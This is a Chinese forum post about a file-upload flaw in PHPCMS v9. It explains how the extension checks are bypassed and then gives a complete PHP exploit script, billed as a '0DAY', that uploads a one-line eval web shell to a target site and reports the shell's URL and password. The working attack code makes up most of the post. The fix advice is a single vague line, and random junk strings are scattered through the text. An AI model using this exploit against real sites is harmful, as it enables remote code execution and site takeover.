找回密码
 立即注册
查看: 2993|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行( ?6 [5 {! L6 d& G; D& B$ @

" ]" J  k! F' p+ f% J1 M# w; a; c% |简要描述:
, W5 ^% I! e- f& P8 g* {8 ^) X  ~  ?* X7 f' x  r$ a
phpcms v9 getshell (apache)
5 O' g. k$ H1 Z8 W$ g8 t, Z详细说明:" {7 C/ Y2 p: r) W' h: E2 k! X
$ U; y) ~* Q# N9 Y1 H2 C- [: q
漏洞文件:phpcms\modules\attachment\attachments.php
, e) _# a8 z' K8 [% M( F! \2 e: x1 `8 J% S/ q; {
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
+ ]* ~7 d& ?3 e/ a6 m+ |后缀检测:phpcms\modules\attachment\functions\global.func.php
1 h' ?. w+ I" A3 v$ O, E
# c9 N8 e! G; i3 v! f  V
3 m" H8 {& _* X# N, L4 M7 B) V. d+ b/ j3 K( _; w, }  d# D0 q
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
! ^" w3 F) C+ s; H/ r6 Z" O
' y7 L$ U, z' F! y7 p# D2 y关键函数:4 r. i, \1 a0 v5 L: y! g, g5 f9 a

3 Y/ d) b2 V+ Y : v; ~& L: k+ A1 C& T1 p

& {% m+ q4 V) Q8 F7 K1 ^1 |# Qfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
4 o& B2 M3 _& B0 w, p3 T3 T! I' b# i; y5 M/ L+ x8 P
  Fileext函数是对文件后缀名的提取。: T8 v1 J! S1 R% y; }. l& [9 f; B0 Q
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php- h; g+ t) z. ^3 m
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
6 m3 A/ B, p/ k$ A4 x( j我们回到public function crop_upload() 函数中
. e7 ?. X  @4 o2 z+ Uif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
( S/ m( ~0 R4 w在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数1 Z8 l. O6 V1 o" D9 Q9 C
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。7 Y) i% `4 Z: {) _$ }
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。% ]( n$ b8 |5 G
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。+ [, r+ d9 P( o3 T% a9 v" C0 C
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。+ N& b4 z4 z% s* g
漏洞证明:
1 G6 J, `- X9 L& i8 m$ Q$ c8 B% ]& T- I$ q& `5 R
exp:/ s8 z$ N. |+ Q- B# B7 [

- R% C6 H& `) p- R6 H1 l<?php: o4 S, N: E9 {+ a
error_reporting(E_ERROR);
" l0 P% Z% Z' S! j6 |% I/ w# Fset_time_limit(0);: N- x, `7 S  ]5 B; u( s+ x( u7 g
$pass="ln";
& d- v/ d, e% B; g4 `0 Y6 n; cprint_r('( v. {$ I/ D# ~- h7 C
+---------------------------------------------------------------------------+
2 s. k3 V# s( tPHPCms V9 GETSHELL 0DAY
' j& h+ l1 H+ I$ M& Pcode by L.N.
! f) V2 Y7 f4 [# p$ e) ?. U% ^$ v& u- X4 M  `2 N, w1 R
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net) z# Z  f: j3 a" C
+---------------------------------------------------------------------------+2 \2 r  f& ^6 @4 i: ?. K
');
; }+ ^7 c! C$ }1 uif ($argc < 2) {" ]2 g) ?- j, T  j6 z
print_r('
/ O$ O, l6 o, \+---------------------------------------------------------------------------+! q5 |* t+ K: k" a$ N( G0 h$ Z
Usage: php '.$argv[0].' url path# s6 u. K* C3 I0 A7 C
0 n9 o1 v0 ~, |3 ~$ a8 F2 y
Example:! N+ x5 Z$ k0 {( Z6 W
1.php '.$argv[0].' lanu.sinaapp.com
; F; a  J6 w( ?* X9 J! i4 T2.php '.$argv[0].' lanu.sinaapp.com /phpcms; B- M5 ^: |" n) s
+---------------------------------------------------------------------------+
6 {1 D( {9 d, C" y0 S2 S* j* d; c');
7 S: F- \6 W' v' j/ k1 G$ ?exit;
1 e3 s  \& ^0 {1 C4 C* w4 ?% N# Y! B6 R}% ~5 ^8 |5 z% q
# P: X3 x/ s" K. `1 a2 m) r, W
$url = $argv[1];
& p' \6 X' L% \- f# V, @$path = $argv[2];! X% a4 L9 A! M0 z6 j
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
! U8 g7 W3 B" u$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';" H+ b! E0 s) X2 y& W. s6 q9 F
if($ret=Create_dir($url,$path))
" F8 I5 F8 C3 J0 ^7 L{
6 C" {2 ]( T* R1 S' Q, B9 D9 Y  ~; s9 C//echo $ret;
9 e5 T( A/ ]0 m3 t+ E0 J$pattern = "|Server:[^,]+?|U";6 @8 M1 G3 K2 {- B
preg_match_all($pattern, $ret, $matches);/ I4 t9 O( O  B0 b: S
if($matches[0][0])- N" k' W. [5 e2 o% f
{  A- U& x, x& f. W1 y
if(strpos($matches[0][0],'Apache') == false); g  w/ G+ J, q* Z4 n
{/ W3 h2 c2 I  G6 j+ m0 A
echo "\n亲!此网站不是apache的网站。\n";exit;: n: V! E( r4 o6 c
}. F9 e- m- j  i3 }- d
}; S! o( N; x& P5 n6 k
$ret = GetShell($url,$phpshell,$path,$file);$ Y& G  p( N/ v" `9 c6 F' f, W
$pattern = "|http:\/\/[^,]+?\.,?|U";3 w. |4 K7 M" ~# X
preg_match_all($pattern, $ret, $matches);
- q# ^8 ^6 ^  _if($matches[0][0])2 @/ \% ~" R7 e6 }4 W5 n* O) v
{
5 ?2 `' L3 p: v9 k, M' mecho "\n".'密码为: '.$pass."\n";' X  @4 J; G$ N
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;$ W4 k0 g1 j7 S) z9 d
}
# B- A+ F) J9 W; P- telse; M8 J* t; p* I
{8 s1 r0 K) Y' S1 V
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
! X  }' N6 K( e' `  ^preg_match_all($pattern, $ret, $matches);
' x# N% G- G2 [" \/ Uif($matches[0][0])
; Q, _: C( ^/ R5 k0 n; S! U/ {2 d{$ {5 `) n8 S2 r+ m
echo "\n".'密码为: '.$pass."\n";
, V5 g1 g7 ^/ v% |( fecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
3 d; M) ]- K& [$ D" ^4 t. L" }$ N}
& m# ~8 z2 W/ N, celse$ b$ a7 C* k9 }  l; A
{5 |  C5 b: ?. V: b' c
echo "\r\n没得到!\n";exit;2 h- [, H4 u6 g- F+ ^% i, Q
}
  \7 O) x3 d$ z$ k4 T}6 ?. y0 V2 p7 F/ w7 K4 U9 p
}
; e  }% A% S' L& a
* i5 P8 b( R/ `* A5 [, e. c4 K9 F' kfunction GetShell($url,$shell,$path,$js)
6 m: O% b& n7 [% e. x' r{
5 h, Q( `1 w9 @$content =$shell;& |) w( R9 ]8 ]; D+ J
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
' L$ _5 c: F& k* X" O$data .= "Host: ".$url."\r\n";" H. o& u2 Y  g0 ]& h; E. U9 o% d
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";" a8 c$ ?5 V2 R9 r6 ^( L! x: M
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";6 X* P, E6 W; U8 s* g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ p; b3 D2 V$ Q4 `; `% S$data .= "Connection: close\r\n";. y0 [2 G; [6 I( q
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' M8 M7 q. Z% J( f% a, o: B/ @: C
$data .= $content."\r\n";
0 I5 _# ?. F; `$ock=fsockopen($url,80);1 U! p" R/ T8 r0 U7 S
if (!$ock)+ i+ V! j, g/ Y: k" r; a+ g1 B- D$ C
{7 w$ \( X, |) [  ?8 r' ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ f$ \4 S* _! z}
9 {( A; x* Z4 }0 Y9 `' \else
, q9 z) b3 K9 L# s( d{2 |& A- b9 o" L' l
fwrite($ock,$data);, H8 x9 ]8 E# L0 K8 h* g
$resp = '';/ L4 i) b7 P  R' B: P; A
while (!feof($ock))
, E% V9 U/ C! \8 P5 i/ l{6 p1 R" P8 ~0 S7 K
$resp.=fread($ock, 1024);
$ p+ l) J% X/ p}
" A. w1 f! B1 }  X% M5 s; V, u$ Zreturn $resp;
8 z2 s3 E8 H! \}
- I2 d& W) I! _- a, y4 D}* O4 w( I! p( V7 M# M$ [
9 S- O, m  P8 b3 ~! z8 O
function Create_dir($url,$path='')$ f' a' q5 d6 X
{  e8 a) G2 S1 @4 ?" V% Y
$content ='I love you';* @, [: g, y: A4 I
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
8 D# \" H4 k$ _$data .= "Host: ".$url."\r\n";2 `9 C* b2 \  G/ A! w( n
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";( Y- K0 x; B7 X% h9 u" G
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ }7 R2 n! J7 B4 K! o& W$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* r- \- j- \$ O" V  u
$data .= "Connection: close\r\n";4 t8 |( Z* K4 Z9 d& j2 h
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";5 M. y0 s: d* v3 P
$data .= $content."\r\n";
* Y& S! G. `% y8 F% ~$ock=fsockopen($url,80);
; p# O* c. `& i: G: Qif (!$ock)
3 V) E. S/ x* B1 c5 k$ _6 o1 C8 }{
! U! G, K4 U8 m8 A9 q% s. gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" p8 b; ^3 l( O) {# k9 ~; {}9 I6 L" X! {' |  J8 R- h+ }
fwrite($ock,$data);" G# k/ r4 y3 L# h; w% n
$resp = '';
" V1 u% u/ N' C# I1 a- s! W* Mwhile (!feof($ock)); o  X' R5 u4 |9 ]5 W6 s& ?
{; k3 c- R+ b* R; ^* r* N
$resp.=fread($ock, 1024);
$ s1 f0 F, j5 s, x2 i9 L' n; t2 D}
  R. p. j) r6 \7 w5 p5 F3 v$ Zreturn $resp;% j# M9 x9 ]# ]; s9 s
}
8 S" W3 f' _- ~  b) ]?>
: W% R/ y4 L0 s, d# k ; V$ [; l% S; I7 p" J
修复方案:9 m* N; }% y" F0 m" U  i

; k2 ]- z1 I* m/ \& g. d过滤过滤再过滤% ^% O4 I6 z1 G4 R  C% e7 z5 P

1 {% R4 i. U( i, T- U9 i( |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表